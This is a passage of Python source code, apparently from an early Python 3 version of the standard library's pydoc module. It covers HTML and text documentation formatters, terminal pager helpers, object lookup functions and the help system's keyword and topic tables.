c) return '<dl>\n%s</dl>\n' % result def docmodule(self, object, name=None, mod=None, *ignored): """Produce HTML documentation for a module object.""" name = object.__name__ # ignore the passed-in name try: all = object.__all__ except AttributeError: all = None parts = name.split('.') links = [] for i in range(len(parts)-1): links.append( '<a href="%s.html"><font color="#ffffff">%s</font></a>' % ('.'.join(parts[:i+1]), parts[i])) linkedname = '.'.join(links + parts[-1:]) head = '<big><big><strong>%s</strong></big></big>' % linkedname try: path = inspect.getabsfile(object) url = path if sys.platform == 'win32': import nturl2path url = nturl2path.pathname2url(path) filelink = '<a href="file:%s">%s</a>' % (url, path) except TypeError: filelink = '(built-in)' info = [] if hasattr(object, '__version__'): version = str(object.__version__) if version[:11] == '$' + 'Revision: ' and version[-1:] == '$': version = version[11:-1].strip() info.append('version %s' % self.escape(version)) if hasattr(object, '__date__'): info.append(self.escape(str(object.__date__))) if info: head = head + ' (%s)' % ', '.join(info) docloc = self.getdocloc(object) if docloc is not None: docloc = '<br><a href="%(docloc)s">Module Reference</a>' % locals() else: docloc = '' result = self.heading( head, '#ffffff', '#7799ee', '<a href=".">index</a><br>' + filelink + docloc) modules = inspect.getmembers(object, inspect.ismodule) classes, cdict = [], {} for key, value in inspect.getmembers(object, inspect.isclass): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or (inspect.getmodule(value) or object) is object): if visiblename(key, all): classes.append((key, value)) cdict[key] = cdict[value] = '#' + key for key, value in classes: for base in value.__bases__: key, modname = base.__name__, base.__module__ module = sys.modules.get(modname) if modname != name and module and hasattr(module, key): if getattr(module, key) is base: if not key in cdict: cdict[key] = cdict[base] = modname + '.html#' + key funcs, fdict = [], {} for key, value in inspect.getmembers(object, inspect.isroutine): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or inspect.isbuiltin(value) or inspect.getmodule(value) is object): if visiblename(key, all): funcs.append((key, value)) fdict[key] = '#-' + key if inspect.isfunction(value): fdict[value] = fdict[key] data = [] for key, value in inspect.getmembers(object, isdata): if visiblename(key, all): data.append((key, value)) doc = self.markup(getdoc(object), self.preformat, fdict, cdict) doc = doc and '<tt>%s</tt>' % doc result = result + '<p>%s</p>\n' % doc if hasattr(object, '__path__'): modpkgs = [] for importer, modname, ispkg in pkgutil.iter_modules(object.__path__): modpkgs.append((modname, name, ispkg, 0)) modpkgs.sort() contents = self.multicolumn(modpkgs, self.modpkglink) result = result + self.bigsection( 'Package Contents', '#ffffff', '#aa55cc', contents) elif modules: contents = self.multicolumn( modules, lambda t: self.modulelink(t[1])) result = result + self.bigsection( 'Modules', '#ffffff', '#aa55cc', contents) if classes: classlist = [value for (key, value) in classes] contents = [ self.formattree(inspect.getclasstree(classlist, 1), name)] for key, value in classes: contents.append(self.document(value, key, name, fdict, cdict)) result = result + self.bigsection( 'Classes', '#ffffff', '#ee77aa', ' '.join(contents)) if funcs: contents = [] for key, value in funcs: contents.append(self.document(value, key, name, fdict, cdict)) result = result + self.bigsection( 'Functions', '#ffffff', '#eeaa77', ' '.join(contents)) if data: contents = [] for key, value in data: contents.append(self.document(value, key)) result = result + self.bigsection( 'Data', '#ffffff', '#55aa55', '<br>\n'.join(contents)) if hasattr(object, '__author__'): contents = self.markup(str(object.__author__), self.preformat) result = result + self.bigsection( 'Author', '#ffffff', '#7799ee', contents) if hasattr(object, '__credits__'): contents = self.markup(str(object.__credits__), self.preformat) result = result + self.bigsection( 'Credits', '#ffffff', '#7799ee', contents) return result def docclass(self, object, name=None, mod=None, funcs={}, classes={}, *ignored): """Produce HTML documentation for a class object.""" realname = object.__name__ name = name or realname bases = object.__bases__ contents = [] push = contents.append # Cute little class to pump out a horizontal rule between sections. class HorizontalRule: def __init__(self): self.needone = 0 def maybe(self): if self.needone: push('<hr>\n') self.needone = 1 hr = HorizontalRule() # List the mro, if non-trivial. mro = deque(inspect.getmro(object)) if len(mro) > 2: hr.maybe() push('<dl><dt>Method resolution order:</dt>\n') for base in mro: push('<dd>%s</dd>\n' % self.classlink(base, object.__module__)) push('</dl>\n') def spill(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self.document(getattr(object, name), name, mod, funcs, classes, mdict, object)) push('\n') return attrs def spilldescriptors(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self._docdescriptor(name, value, mod)) return attrs def spilldata(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: base = self.docother(getattr(object, name), name, mod) if hasattr(value, '__call__') or inspect.isdatadescriptor(value): doc = getattr(value, "__doc__", None) else: doc = None if doc is None: push('<dl><dt>%s</dl>\n' % base) else: doc = self.markup(getdoc(value), self.preformat, funcs, classes, mdict) doc = '<dd><tt>%s</tt>' % doc push('<dl><dt>%s%s</dl>\n' % (base, doc)) push('\n') return attrs attrs = [(name, kind, cls, value) for name, kind, cls, value in classify_class_attrs(object) if visiblename(name)] mdict = {} for key, kind, homecls, value in attrs: mdict[key] = anchor = '#' + name + '-' + key value = getattr(object, key) try: # The value may not be hashable (e.g., a data attr with # a dict or list value). mdict[value] = anchor except TypeError: pass while attrs: if mro: thisclass = mro.popleft() else: thisclass = attrs[0][2] attrs, inherited = _split_list(attrs, lambda t: t[2] is thisclass) if thisclass is builtins.object: attrs = inherited continue elif thisclass is object: tag = 'defined here' else: tag = 'inherited from %s' % self.classlink(thisclass, object.__module__) tag += ':<br>\n' # Sort attrs by name. attrs.sort(key=lambda t: t[0]) # Pump out the attrs, segregated by kind. attrs = spill('Methods %s' % tag, attrs, lambda t: t[1] == 'method') attrs = spill('Class methods %s' % tag, attrs, lambda t: t[1] == 'class method') attrs = spill('Static methods %s' % tag, attrs, lambda t: t[1] == 'static method') attrs = spilldescriptors('Data descriptors %s' % tag, attrs, lambda t: t[1] == 'data descriptor') attrs = spilldata('Data and other attributes %s' % tag, attrs, lambda t: t[1] == 'data') assert attrs == [] attrs = inherited contents = ''.join(contents) if name == realname: title = '<a name="%s">class <strong>%s</strong></a>' % ( name, realname) else: title = '<strong>%s</strong> = <a name="%s">class %s</a>' % ( name, name, realname) if bases: parents = [] for base in bases: parents.append(self.classlink(base, object.__module__)) title = title + '(%s)' % ', '.join(parents) doc = self.markup(getdoc(object), self.preformat, funcs, classes, mdict) doc = doc and '<tt>%s<br>&nbsp;</tt>' % doc return self.section(title, '#000000', '#ffc8d8', contents, 3, doc) def formatvalue(self, object): """Format an argument default value as text.""" return self.grey('=' + self.repr(object)) def docroutine(self, object, name=None, mod=None, funcs={}, classes={}, methods={}, cl=None): """Produce HTML documentation for a function or method object.""" realname = object.__name__ name = name or realname anchor = (cl and cl.__name__ or '') + '-' + name note = '' skipdocs = 0 if inspect.ismethod(object): imclass = object.__self__.__class__ if cl: if imclass is not cl: note = ' from ' + self.classlink(imclass, mod) else: if object.__self__ is not None: note = ' method of %s instance' % self.classlink( object.__self__.__class__, mod) else: note = ' unbound %s method' % self.classlink(imclass,mod) object = object.__func__ if name == realname: title = '<a name="%s"><strong>%s</strong></a>' % (anchor, realname) else: if (cl and realname in cl.__dict__ and cl.__dict__[realname] is object): reallink = '<a href="#%s">%s</a>' % ( cl.__name__ + '-' + realname, realname) skipdocs = 1 else: reallink = realname title = '<a name="%s"><strong>%s</strong></a> = %s' % ( anchor, name, reallink) if inspect.isfunction(object): args, varargs, kwonlyargs, kwdefaults, varkw, defaults, ann = \ inspect.getfullargspec(object) argspec = inspect.formatargspec( args, varargs, kwonlyargs, kwdefaults, varkw, defaults, ann, formatvalue=self.formatvalue, formatannotation=inspect.formatannotationrelativeto(object)) if realname == '<lambda>': title = '<strong>%s</strong> <em>lambda</em> ' % name # XXX lambda's won't usually have func_annotations['return'] # since the syntax doesn't support but it is possible. # So removing parentheses isn't truly safe. argspec = argspec[1:-1] # remove parentheses else: argspec = '(...)' decl = title + argspec + (note and self.grey( '<font face="helvetica, arial">%s</font>' % note)) if skipdocs: return '<dl><dt>%s</dt></dl>\n' % decl else: doc = self.markup( getdoc(object), self.preformat, funcs, classes, methods) doc = doc and '<dd><tt>%s</tt></dd>' % doc return '<dl><dt>%s</dt>%s</dl>\n' % (decl, doc) def _docdescriptor(self, name, value, mod): results = [] push = results.append if name: push('<dl><dt><strong>%s</strong></dt>\n' % name) if value.__doc__ is not None: doc = self.markup(getdoc(value), self.preformat) push('<dd><tt>%s</tt></dd>\n' % doc) push('</dl>\n') return ''.join(results) def docproperty(self, object, name=None, mod=None, cl=None): """Produce html documentation for a property.""" return self._docdescriptor(name, object, mod) def docother(self, object, name=None, mod=None, *ignored): """Produce HTML documentation for a data object.""" lhs = name and '<strong>%s</strong> = ' % name or '' return lhs + self.repr(object) def docdata(self, object, name=None, mod=None, cl=None): """Produce html documentation for a data descriptor.""" return self._docdescriptor(name, object, mod) def index(self, dir, shadowed=None): """Generate an HTML index for a directory of modules.""" modpkgs = [] if shadowed is None: shadowed = {} for importer, name, ispkg in pkgutil.iter_modules([dir]): modpkgs.append((name, '', ispkg, name in shadowed)) shadowed[name] = 1 modpkgs.sort() contents = self.multicolumn(modpkgs, self.modpkglink) return self.bigsection(dir, '#ffffff', '#ee77aa', contents) # -------------------------------------------- text documentation generator class TextRepr(Repr): """Class for safely making a text representation of a Python object.""" def __init__(self): Repr.__init__(self) self.maxlist = self.maxtuple = 20 self.maxdict = 10 self.maxstring = self.maxother = 100 def repr1(self, x, level): if hasattr(type(x), '__name__'): methodname = 'repr_' + '_'.join(type(x).__name__.split()) if hasattr(self, methodname): return getattr(self, methodname)(x, level) return cram(stripid(repr(x)), self.maxother) def repr_string(self, x, level): test = cram(x, self.maxstring) testrepr = repr(test) if '\\' in test and '\\' not in replace(testrepr, r'\\', ''): # Backslashes are only literal in the string and are never # needed to make any special characters, so show a raw string. return 'r' + testrepr[0] + test + testrepr[0] return testrepr repr_str = repr_string def repr_instance(self, x, level): try: return cram(stripid(repr(x)), self.maxstring) except: return '<%s instance>' % x.__class__.__name__ class TextDoc(Doc): """Formatter class for text documentation.""" # ------------------------------------------- text formatting utilities _repr_instance = TextRepr() repr = _repr_instance.repr def bold(self, text): """Format a string in bold by overstriking.""" return ''.join(map(lambda ch: ch + '\b' + ch, text)) def indent(self, text, prefix=' '): """Indent text by prepending a given prefix to each line.""" if not text: return '' lines = [prefix + line for line in text.split('\n')] if lines: lines[-1] = lines[-1].rstrip() return '\n'.join(lines) def section(self, title, contents): """Format a section with a given heading.""" clean_contents = self.indent(contents).rstrip() return self.bold(title) + '\n' + clean_contents + '\n\n' # ---------------------------------------------- type-specific routines def formattree(self, tree, modname, parent=None, prefix=''): """Render in text a class tree as returned by inspect.getclasstree().""" result = '' for entry in tree: if type(entry) is type(()): c, bases = entry result = result + prefix + classname(c, modname) if bases and bases != (parent,): parents = map(lambda c, m=modname: classname(c, m), bases) result = result + '(%s)' % ', '.join(parents) result = result + '\n' elif type(entry) is type([]): result = result + self.formattree( entry, modname, c, prefix + ' ') return result def docmodule(self, object, name=None, mod=None): """Produce text documentation for a given module object.""" name = object.__name__ # ignore the passed-in name synop, desc = splitdoc(getdoc(object)) result = self.section('NAME', name + (synop and ' - ' + synop)) all = getattr(object, '__all__', None) docloc = self.getdocloc(object) if docloc is not None: result = result + self.section('MODULE REFERENCE', docloc + """ The following documentation is automatically generated from the Python source files. It may be incomplete, incorrect or include features that are considered implementation detail and may vary between Python implementations. When in doubt, consult the module reference at the location listed above. """) if desc: result = result + self.section('DESCRIPTION', desc) classes = [] for key, value in inspect.getmembers(object, inspect.isclass): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or (inspect.getmodule(value) or object) is object): if visiblename(key, all): classes.append((key, value)) funcs = [] for key, value in inspect.getmembers(object, inspect.isroutine): # if __all__ exists, believe it. Otherwise use old heuristic. if (all is not None or inspect.isbuiltin(value) or inspect.getmodule(value) is object): if visiblename(key, all): funcs.append((key, value)) data = [] for key, value in inspect.getmembers(object, isdata): if visiblename(key, all): data.append((key, value)) modpkgs = [] modpkgs_names = set() if hasattr(object, '__path__'): for importer, modname, ispkg in pkgutil.iter_modules(object.__path__): modpkgs_names.add(modname) if ispkg: modpkgs.append(modname + ' (package)') else: modpkgs.append(modname) modpkgs.sort() result = result + self.section( 'PACKAGE CONTENTS', '\n'.join(modpkgs)) # Detect submodules as sometimes created by C extensions submodules = [] for key, value in inspect.getmembers(object, inspect.ismodule): if value.__name__.startswith(name + '.') and key not in modpkgs_names: submodules.append(key) if submodules: submodules.sort() result = result + self.section( 'SUBMODULES', '\n'.join(submodules)) if classes: classlist = [value for key, value in classes] contents = [self.formattree( inspect.getclasstree(classlist, 1), name)] for key, value in classes: contents.append(self.document(value, key, name)) result = result + self.section('CLASSES', '\n'.join(contents)) if funcs: contents = [] for key, value in funcs: contents.append(self.document(value, key, name)) result = result + self.section('FUNCTIONS', '\n'.join(contents)) if data: contents = [] for key, value in data: contents.append(self.docother(value, key, name, maxlen=70)) result = result + self.section('DATA', '\n'.join(contents)) if hasattr(object, '__version__'): version = str(object.__version__) if version[:11] == '$' + 'Revision: ' and version[-1:] == '$': version = version[11:-1].strip() result = result + self.section('VERSION', version) if hasattr(object, '__date__'): result = result + self.section('DATE', str(object.__date__)) if hasattr(object, '__author__'): result = result + self.section('AUTHOR', str(object.__author__)) if hasattr(object, '__credits__'): result = result + self.section('CREDITS', str(object.__credits__)) try: file = inspect.getabsfile(object) except TypeError: file = '(built-in)' result = result + self.section('FILE', file) return result def docclass(self, object, name=None, mod=None): """Produce text documentation for a given class object.""" realname = object.__name__ name = name or realname bases = object.__bases__ def makename(c, m=object.__module__): return classname(c, m) if name == realname: title = 'class ' + self.bold(realname) else: title = self.bold(name) + ' = class ' + realname if bases: parents = map(makename, bases) title = title + '(%s)' % ', '.join(parents) doc = getdoc(object) contents = doc and [doc + '\n'] or [] push = contents.append # List the mro, if non-trivial. mro = deque(inspect.getmro(object)) if len(mro) > 2: push("Method resolution order:") for base in mro: push(' ' + makename(base)) push('') # Cute little class to pump out a horizontal rule between sections. class HorizontalRule: def __init__(self): self.needone = 0 def maybe(self): if self.needone: push('-' * 70) self.needone = 1 hr = HorizontalRule() def spill(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self.document(getattr(object, name), name, mod, object)) return attrs def spilldescriptors(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self._docdescriptor(name, value, mod)) return attrs def spilldata(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: if hasattr(value, '__call__') or inspect.isdatadescriptor(value): doc = getdoc(value) else: doc = None push(self.docother(getattr(object, name), name, mod, maxlen=70, doc=doc) + '\n') return attrs attrs = [(name, kind, cls, value) for name, kind, cls, value in classify_class_attrs(object) if visiblename(name)] while attrs: if mro: thisclass = mro.popleft() else: thisclass = attrs[0][2] attrs, inherited = _split_list(attrs, lambda t: t[2] is thisclass) if thisclass is builtins.object: attrs = inherited continue elif thisclass is object: tag = "defined here" else: tag = "inherited from %s" % classname(thisclass, object.__module__) # Sort attrs by name. attrs.sort() # Pump out the attrs, segregated by kind. attrs = spill("Methods %s:\n" % tag, attrs, lambda t: t[1] == 'method') attrs = spill("Class methods %s:\n" % tag, attrs, lambda t: t[1] == 'class method') attrs = spill("Static methods %s:\n" % tag, attrs, lambda t: t[1] == 'static method') attrs = spilldescriptors("Data descriptors %s:\n" % tag, attrs, lambda t: t[1] == 'data descriptor') attrs = spilldata("Data and other attributes %s:\n" % tag, attrs, lambda t: t[1] == 'data') assert attrs == [] attrs = inherited contents = '\n'.join(contents) if not contents: return title + '\n' return title + '\n' + self.indent(contents.rstrip(), ' | ') + '\n' def formatvalue(self, object): """Format an argument default value as text.""" return '=' + self.repr(object) def docroutine(self, object, name=None, mod=None, cl=None): """Produce text documentation for a function or method object.""" realname = object.__name__ name = name or realname note = '' skipdocs = 0 if inspect.ismethod(object): imclass = object.__self__.__class__ if cl: if imclass is not cl: note = ' from ' + classname(imclass, mod) else: if object.__self__ is not None: note = ' method of %s instance' % classname( object.__self__.__class__, mod) else: note = ' unbound %s method' % classname(imclass,mod) object = object.__func__ if name == realname: title = self.bold(realname) else: if (cl and realname in cl.__dict__ and cl.__dict__[realname] is object): skipdocs = 1 title = self.bold(name) + ' = ' + realname if inspect.isfunction(object): args, varargs, varkw, defaults, kwonlyargs, kwdefaults, ann = \ inspect.getfullargspec(object) argspec = inspect.formatargspec( args, varargs, varkw, defaults, kwonlyargs, kwdefaults, ann, formatvalue=self.formatvalue, formatannotation=inspect.formatannotationrelativeto(object)) if realname == '<lambda>': title = self.bold(name) + ' lambda ' # XXX lambda's won't usually have func_annotations['return'] # since the syntax doesn't support but it is possible. # So removing parentheses isn't truly safe. argspec = argspec[1:-1] # remove parentheses else: argspec = '(...)' decl = title + argspec + note if skipdocs: return decl + '\n' else: doc = getdoc(object) or '' return decl + '\n' + (doc and self.indent(doc).rstrip() + '\n') def _docdescriptor(self, name, value, mod): results = [] push = results.append if name: push(self.bold(name)) push('\n') doc = getdoc(value) or '' if doc: push(self.indent(doc)) push('\n') return ''.join(results) def docproperty(self, object, name=None, mod=None, cl=None): """Produce text documentation for a property.""" return self._docdescriptor(name, object, mod) def docdata(self, object, name=None, mod=None, cl=None): """Produce text documentation for a data descriptor.""" return self._docdescriptor(name, object, mod) def docother(self, object, name=None, mod=None, parent=None, maxlen=None, doc=None): """Produce text documentation for a data object.""" repr = self.repr(object) if maxlen: line = (name and name + ' = ' or '') + repr chop = maxlen - len(line) if chop < 0: repr = repr[:chop] + '...' line = (name and self.bold(name) + ' = ' or '') + repr if doc is not None: line += '\n' + self.indent(str(doc)) return line # --------------------------------------------------------- user interfaces def pager(text): """The first time this is called, determine what kind of pager to use.""" global pager pager = getpager() pager(text) def getpager(): """Decide what method to use for paging through text.""" if not hasattr(sys.stdout, "isatty"): return plainpager if not sys.stdin.isatty() or not sys.stdout.isatty(): return plainpager if 'PAGER' in os.environ: if sys.platform == 'win32': # pipes completely broken in Windows return lambda text: tempfilepager(plain(text), os.environ['PAGER']) elif os.environ.get('TERM') in ('dumb', 'emacs'): return lambda text: pipepager(plain(text), os.environ['PAGER']) else: return lambda text: pipepager(text, os.environ['PAGER']) if os.environ.get('TERM') in ('dumb', 'emacs'): return plainpager if sys.platform == 'win32' or sys.platform.startswith('os2'): return lambda text: tempfilepager(plain(text), 'more <') if hasattr(os, 'system') and os.system('(less) 2>/dev/null') == 0: return lambda text: pipepager(text, 'less') import tempfile (fd, filename) = tempfile.mkstemp() os.close(fd) try: if hasattr(os, 'system') and os.system('more "%s"' % filename) == 0: return lambda text: pipepager(text, 'more') else: return ttypager finally: os.unlink(filename) def plain(text): """Remove boldface formatting from text.""" return re.sub('.\b', '', text) def pipepager(text, cmd): """Page through text by feeding it to another program.""" pipe = os.popen(cmd, 'w') try: pipe.write(text) pipe.close() except IOError: pass # Ignore broken pipes caused by quitting the pager program. def tempfilepager(text, cmd): """Page through text by invoking a program on a temporary file.""" import tempfile filename = tempfile.mktemp() file = open(filename, 'w') file.write(text) file.close() try: os.system(cmd + ' "' + filename + '"') finally: os.unlink(filename) def ttypager(text): """Page through text on a text terminal.""" lines = plain(text).split('\n') try: import tty fd = sys.stdin.fileno() old = tty.tcgetattr(fd) tty.setcbreak(fd) getchar = lambda: sys.stdin.read(1) except (ImportError, AttributeError): tty = None getchar = lambda: sys.stdin.readline()[:-1][:1] try: r = inc = os.environ.get('LINES', 25) - 1 sys.stdout.write('\n'.join(lines[:inc]) + '\n') while lines[r:]: sys.stdout.write('-- more --') sys.stdout.flush() c = getchar() if c in ('q', 'Q'): sys.stdout.write('\r \r') break elif c in ('\r', '\n'): sys.stdout.write('\r \r' + lines[r] + '\n') r = r + 1 continue if c in ('b', 'B', '\x1b'): r = r - inc - inc if r < 0: r = 0 sys.stdout.write('\n' + '\n'.join(lines[r:r+inc]) + '\n') r = r + inc finally: if tty: tty.tcsetattr(fd, tty.TCSAFLUSH, old) def plainpager(text): """Simply print unformatted text. This is the ultimate fallback.""" sys.stdout.write(plain(text)) def describe(thing): """Produce a short description of the given thing.""" if inspect.ismodule(thing): if thing.__name__ in sys.builtin_module_names: return 'built-in module ' + thing.__name__ if hasattr(thing, '__path__'): return 'package ' + thing.__name__ else: return 'module ' + thing.__name__ if inspect.isbuiltin(thing): return 'built-in function ' + thing.__name__ if inspect.isgetsetdescriptor(thing): return 'getset descriptor %s.%s.%s' % ( thing.__objclass__.__module__, thing.__objclass__.__name__, thing.__name__) if inspect.ismemberdescriptor(thing): return 'member descriptor %s.%s.%s' % ( thing.__objclass__.__module__, thing.__objclass__.__name__, thing.__name__) if inspect.isclass(thing): return 'class ' + thing.__name__ if inspect.isfunction(thing): return 'function ' + thing.__name__ if inspect.ismethod(thing): return 'method ' + thing.__name__ return type(thing).__name__ def locate(path, forceload=0): """Locate an object by name or dotted path, importing as necessary.""" parts = [part for part in path.split('.') if part] module, n = None, 0 while n < len(parts): nextmodule = safeimport('.'.join(parts[:n+1]), forceload) if nextmodule: module, n = nextmodule, n + 1 else: break if module: object = module for part in parts[n:]: try: object = getattr(object, part) except AttributeError: return None return object else: if hasattr(builtins, path): return getattr(builtins, path) # --------------------------------------- interactive interpreter interface text = TextDoc() html = HTMLDoc() def resolve(thing, forceload=0): """Given an object or a path to an object, get the object and its name.""" if isinstance(thing, str): object = locate(thing, forceload) if not object: raise ImportError('no Python documentation found for %r' % thing) return object, thing else: return thing, getattr(thing, '__name__', None) def render_doc(thing, title='Python Library Documentation: %s', forceload=0): """Render text documentation, given an object or a path to an object.""" object, name = resolve(thing, forceload) desc = describe(object) module = inspect.getmodule(object) if name and '.' in name: desc += ' in ' + name[:name.rfind('.')] elif module and module is not object: desc += ' in module ' + module.__name__ if not (inspect.ismodule(object) or inspect.isclass(object) or inspect.isroutine(object) or inspect.isgetsetdescriptor(object) or inspect.ismemberdescriptor(object) or isinstance(object, property)): # If the passed object is a piece of data or an instance, # document its available methods instead of its value. object = type(object) desc += ' object' return title % desc + '\n\n' + text.document(object, name) def doc(thing, title='Python Library Documentation: %s', forceload=0): """Display text documentation, given an object or a path to an object.""" try: pager(render_doc(thing, title, forceload)) except (ImportError, ErrorDuringImport) as value: print(value) def writedoc(thing, forceload=0): """Write HTML documentation to a file in the current directory.""" try: object, name = resolve(thing, forceload) page = html.page(describe(object), html.document(object, name)) file = open(name + '.html', 'w', encoding='utf-8') file.write(page) file.close() print('wrote', name + '.html') except (ImportError, ErrorDuringImport) as value: print(value) def writedocs(dir, pkgpath='', done=None): """Write out HTML documentation for all modules in a directory tree.""" if done is None: done = {} for importer, modname, ispkg in pkgutil.walk_packages([dir], pkgpath): writedoc(modname) return class Helper: # These dictionaries map a topic name to either an alias, or a tuple # (label, seealso-items). The "label" is the label of the corresponding # section in the .rst file under Doc/ and an index into the dictionary # in pydoc_data/topics.py. # # CAUTION: if you change one of these dictionaries, be sure to adapt the # list of needed labels in Doc/tools/sphinxext/pyspecific.py and # regenerate the pydoc_data/topics.py file by running # make pydoc-topics # in Doc/ and copying the output file into the Lib/ directory. keywords = { 'and': 'BOOLEAN', 'as': 'with', 'assert': ('assert', ''), 'break': ('break', 'while for'), 'class': ('class', 'CLASSES SPECIALMETHODS'), 'continue': ('continue', 'while for'), 'def': ('function', ''), 'del': ('del', 'BASICMETHODS'), 'elif': 'if', 'else': ('else', 'while for'), 'except': 'try', 'finally': 'try', 'for': ('for', 'break continue while'), 'from': 'import', 'global': ('global', 'NAMESPACES'), 'if': ('if', 'TRUTHVALUE'), 'import': ('import', 'MODULES'), 'in': ('in', 'SEQUENCEMETHODS'), 'is': 'COMPARISON', 'lambda': ('lambda', 'FUNCTIONS'), 'not': 'BOOLEAN', 'or': 'BOOLEAN', 'pass': ('pass', ''), 'raise': ('raise', 'EXCEPTIONS'), 'return': ('return', 'FUNCTIONS'), 'try': ('try', 'EXCEPTIONS'), 'while': ('while', 'break continue if TRUTHVALUE'), 'with': ('with', 'CONTEXTMANAGERS EXCEPTIONS yield'), 'yield': ('yield', ''), } # Either add symbols to this dictionary or to the symbols dictionary # directly: Whichever is easier. They are merged later. _symbols_inverse = { 'STRINGS' : ("'", "'''", "r'", "b'", '"""', '"', 'r"', 'b"'), 'OPERATORS' : ('+', '-', '*', '**', '/', '//', '%', '<<', '>>', '&', '|', '^', '~', '<', '>', '<=', '>=', '==', '!=', '<>'), 'COMPARISON' : ('<', '>', '<=', '>=', '==', '!=', '<>'), 'UNARY' : ('-', '~'), 'AUGMENTEDASSIGNMENT' : ('+=', '-=', '*=', '/=', '%=', '&=', '|=', '^=', '<<=', '>>=', '**=', '//='), 'BITWISE' : ('<<', '>>', '&', '|', '^', '~'), 'COMPLEX' : ('j', 'J') } symbols = { '%': 'OPERATORS FORMATTING', '**': 'POWER', ',': 'TUPLES LISTS FUNCTIONS', '.': 'ATTRIBUTES FLOAT MODULES OBJECTS', '...': 'ELLIPSIS', ':': 'SLICINGS DICTIONARYLITERALS', '@': 'def class', '\\': 'STRINGS', '_': 'PRIVATENAMES', '__': 'PRIVATENAMES SPECIALMETHODS', '`': 'BACKQUOTES', '(': 'TUPLES FUNCTIONS CALLS', ')': 'TUPLES FUNCTIONS CALLS', '[': 'LISTS SUBSCRIPTS SLICINGS', ']': 'LISTS SUBSCRIPTS SLICINGS' } for topic, symbols_ in _symbols_inverse.items(): for symbol in symbols_: topics = symbols.get(symbol, topic) if topic not in topics: topics = topics + ' ' + topic symbols[symbol] = topics topics = { 'TYPES': ('types', 'STRINGS UNICODE NUMBERS SEQUENCES MAPPINGS ' 'FUNCTIONS CLASSES MODULES FILES inspect'), 'STRINGS': ('strings', 'str UNICODE SEQUENCES STRINGMETHODS ' 'FORMATTING TYPES'), 'STRINGMETHODS': ('string-methods', 'STRINGS FORMATTING'), 'FORMATTING': ('formatstrings', 'OPERATORS'), 'UNICODE': ('strings', 'encodings unicode SEQUENCES STRINGMETHODS ' 'FORMATTING TYPES'), 'NUMBERS': ('numbers', 'INTEGER FLOAT COMPLEX TYPES'), 'INTEGER': ('integers', 'int range'), 'FLOAT': ('floating', 'float math'), 'COMPLEX': ('imaginary', 'complex cmath'), 'SEQUENCES': ('typesseq', 'STRINGMETHODS FORMATTING range LISTS'), 'MAPPINGS': 'DICTIONARIES', 'FUNCTIONS': ('typesfunctions', 'def TYPES'), 'METHODS': ('typesmethods', 'class def CLASSES TYPES'), 'CODEOBJECTS': ('bltin-code-objects', 'compile FUNCTIONS TYPES'), 'TYPEOBJECTS': ('bltin-type-objects', 'types TYPES'), 'FRAMEOBJECTS': 'TYPES', 'TRACEBACKS': 'TYPES', 'NONE': ('bltin-null-object', ''), 'ELLIPSIS': ('bltin-ellipsis-object', 'SLICINGS'), 'FILES': ('bltin-file-objects', ''), 'SPECIALATTRIBUTES': ('specialattrs', ''), 'CLASSES': ('types', 'class SPECIALMETHODS PRIVATENAMES'), 'MODULES': ('typesmodules', 'import'), 'PACKAGES': 'import', 'EXPRESSIONS': ('operator-summary', 'lambda or and not in is BOOLEAN ' 'COMPARISON BITWISE SHIFTING BINARY FORMATTING POWER ' 'UNARY ATTRIBUTES SUBSCRIPTS SLICINGS CALLS TUPLES ' 'LISTS DICTIONARIES'), 'OPERATORS': 'EXPRESSIONS', 'PRECEDENCE': 'EXPRESSIONS', 'OBJECTS': ('objects', 'TYPES'), 'SPECIALMETHODS': ('specialnames', 'BASICMETHODS ATTRIBUTEMETHODS ' 'CALLABLEMETHODS SEQUENCEMETHODS MAPPINGMETHODS ' 'NUMBERMETHODS CLASSES'), 'BASICMETHODS': ('customization', 'hash repr str SPECIALMETHODS'), 'ATTRIBUTEMETHODS': ('attribute-access', 'ATTRIBUTES SPECIALMETHODS'), 'CALLABLEMETHODS': ('callable-types', 'CALLS SPECIALMETHODS'), 'SEQUENCEMETHODS': ('sequence-types', 'SEQUENCES SEQUENCEMETHODS ' 'SPECIALMETHODS'), 'MAPPINGMETHODS': ('sequence-types', 'MAPPINGS SPECIALMETHODS'), 'NUMBERMETHODS': ('numeric-types', 'NUMBERS AUGMENTEDASSIGNMENT ' 'SPECIALMETHODS'), 'EXECUTION': ('execmodel', 'NAMESPACES DYNAMICFEATURES EXCEPTIONS'), 'NAMESPACES': ('naming', 'global ASSIGNMENT DELETION DYNAMICFEATURES'), 'DYNAMICFEATURES': ('dynamic-features', ''), 'SCOPING': 'NAMESPACES', 'FRAMES': 'NAMESPACES', 'EXCEPTIONS': ('exceptions', 'try except finally raise'), 'CONVERSIONS': ('conversions', ''), 'IDENTIFIERS': ('identifiers', 'keywords SPECIALIDENTIFIERS'), 'SPECIALIDENTIFIERS': ('id-classes', ''), 'PRIVATENAMES': ('atom-identifiers', ''), 'LITERALS': ('atom-literals', 'STRINGS NUMBERS TUPLELITERALS ' 'LISTLITERALS DICTIONARYLITERALS'), 'TUPLES': 'SEQUENCES', 'TUPLELITERALS': ('exprlists', 'TUPLES LITERALS'), 'LISTS': ('typesseq-mutable', 'LISTLITERALS'), 'LISTLITERALS': ('lists', 'LISTS LITERALS'), 'DICTIONARIES': ('typesmapping', 'DICTIONARYLITERALS'), 'DICTIONARYLITERALS': ('dict', 'DICTIONARIES LITERALS'), 'ATTRIBUTES': ('attribute-references', 'getattr hasattr setattr ATTRIBUTEMETHODS'), 'SUBSCRIPTS': ('subscriptions', 'SEQUENCEMETHODS'), 'SLICINGS': ('slicings', 'SEQUENCEMETHODS'), 'CALLS': ('calls', 'EXPRESSIONS'), 